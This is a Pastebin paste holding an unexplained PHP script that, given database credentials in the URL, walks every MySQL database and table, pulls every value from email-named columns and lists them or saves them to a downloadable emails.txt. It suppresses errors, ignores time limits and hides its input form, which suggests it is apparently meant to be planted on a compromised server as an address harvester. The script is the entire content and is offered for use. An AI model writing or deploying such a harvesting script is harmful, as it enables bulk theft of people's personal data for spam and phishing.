Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- @set_time_limit(0);error_reporting(0);
- if(!empty($_GET["rm"])){unlink('emails.txt');echo '<script> alert("email file deleted");window.location="' . $_SERVER["PHP_SELF"] . '";</script>';}
- if(!empty($_GET["server"])){
- $vr=false;if(!empty($_GET["filesf"])){if($_GET["filesf"]=="on"){$vr=true;}}
- if($vr==true){ignore_user_abort(true);$fh = fopen("emails.txt", 'w') or die("can't open file " . getcwd() . '/emails.txt');}
- mysql_connect($_GET["server"], $_GET["user"], $_GET["pw"]) OR die("not connected");
- $res1 = mysql_query("SHOW DATABASES");
- echo 'Golden'. "\n";
- while ($row1 = mysql_fetch_assoc($res1)) {
- $res2 = mysql_query("SHOW TABLES FROM " . $row1['Database']);
- while ($row2 = mysql_fetch_assoc($res2)) {
- $res3 = mysql_query("SHOW COLUMNS FROM " . $row1['Database'] . "." . $row2['Tables_in_' . $row1['Database']]);
- while ($row3 = mysql_fetch_assoc($res3)) {
- if(strstr($row3['Field'], "email")) {
- $res4 = mysql_query("select " . $row3['Field'] ." FROM " . $row1['Database'] . "." . $row2['Tables_in_' . $row1['Database']]);
- while ($row4 = mysql_fetch_assoc($res4)) {if(!empty($row4[$row3['Field']])){if(strstr($row4[$row3['Field']], "@")){echo $row4[$row3['Field']] . "\n";if($vr==true){fwrite($fh, $row4[$row3['Field']] . "\n");}}}}
- }
- }
- }
- }
- if($vr==true){fclose($fh);echo '</br><a href="emails.txt">Here are your Emails</a><span style="padding: 0 20px;"></span><a href="' . $_SERVER["PHP_SELF"] . '?rm=1">Remove email File</a>';}
- }else{
- echo '<form style="display:none;" method="GET"><table><tr><td>Server : <input type="text" name="server" value="localhost"\></td></tr><tr><td>User : <input type="text" name="user" value=""\></td></tr><tr><td>Password : <input type="text" name="pw" value=""\></td></tr><tr><td>Save-to-file : <input style="display:none;" type="checkbox" name="filesf"\></td></tr><tr><td><input type="submit" value="send"\></td></tr></table></form>';
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement